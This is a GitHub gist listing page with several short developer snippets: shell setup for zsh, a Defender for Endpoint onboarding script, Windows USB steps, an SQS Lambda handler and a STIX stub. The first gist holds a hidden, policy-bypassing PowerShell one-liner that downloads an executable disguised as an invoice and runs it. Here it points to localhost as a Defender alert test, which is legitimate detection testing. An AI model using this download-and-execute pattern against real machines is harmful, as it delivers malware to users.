Skip to content

Instantly share code, notes, and snippets.

View vasylherman's full-sized avatar
☁️
in the cloud

Vasyl Herman vasylherman

☁️
in the cloud
View GitHub Profile
@vasylherman
vasylherman / m365-generate-security-alert.txt
Last active September 13, 2023 13:43
m365 generate test alert
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-WDATP-test\\invoice.exe');Start-Process 'C:\\test-WDATP-test\\invoice.exe'
@vasylherman
vasylherman / WindowsDefenderATPLocalOnboardingScript.cmd
Created September 11, 2023 08:47
WindowsDefenderATPLocalOnboardingScript.cmd
@echo off
echo This script is for onboarding machines to the Microsoft Defender for Endpoint services, including security and compliance products.
echo Once completed, the machine should light up in the portal within 5-30 minutes, depending on this machine's Internet connectivity availability and machine power state (plugged in vs. battery powered).
echo IMPORTANT: This script is optimized for onboarding a single machine and should not be used for large scale deployment.
echo For more information on large scale deployment, please consult the MDE documentation (links available in the MDE portal under the endpoint onboarding section).
echo.
:USER_CONSENT
set /p shouldContinue= "Press (Y) to confirm and continue or (N) to cancel and exit: "
IF /I "%shouldContinue%"=="N" (
@vasylherman
vasylherman / oh-my-zsh-cmd
Last active February 6, 2025 13:13
oh-my-zsh-cmd
sudo apt update -y
echo install zsh
sudo apt install zsh -y
yes | sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/themes/powerlevel10k
git clone https://github.com/asdf-vm/asdf.git ~/.asdf
@vasylherman
vasylherman / Windows 11 Bootable USB on a Mac
Last active January 18, 2024 14:20
Windows 11 Bootable USB on a Mac
Erase in MS-DOS FAT https://www.youtube.com/watch?v=qMKDFfmR6NI
rsync -avh --exclude 'sources/install.wim' /Volumes/CCCOMA_X64FRE_EN-US_DV9/* /Volumes/WIN11/
wimlib-imagex split /Volumes/CCCOMA_X64FRE_EN-US_DV9/sources/install.wim /Volumes/WIN11/sources/install.swm 4000
@vasylherman
vasylherman / sqs to lambda in cdk
Last active March 1, 2024 11:57
sqs to lambda in cdk
import { SQSEvent } from 'aws-lambda'
export const handler = async (event: SQSEvent) => {
const batchItemFailures: { itemIdentifier: string }[] = []
try {
const sqsMessages = event.Records
for (const message of sqsMessages) {
const messageId = message.messageId
try { // your Logic goes here
{
"type": "bundle",
"id": "bundle--601cee35-6b16-4e68-a3e7-9ec7d755b4c3",
"objects": [
{
"type": "threat-actor",
"spec_version": "2.1",
"id": "threat-actor--dfaa8d77-07e2-4e28-b2c8-92e9f7b04428",
"created": "2014-11-19T23:39:03.893Z",
"modified": "2014-11-19T23:39:03.893Z",
@vasylherman
vasylherman / commands
Created March 21, 2025 09:28
commands
post commands here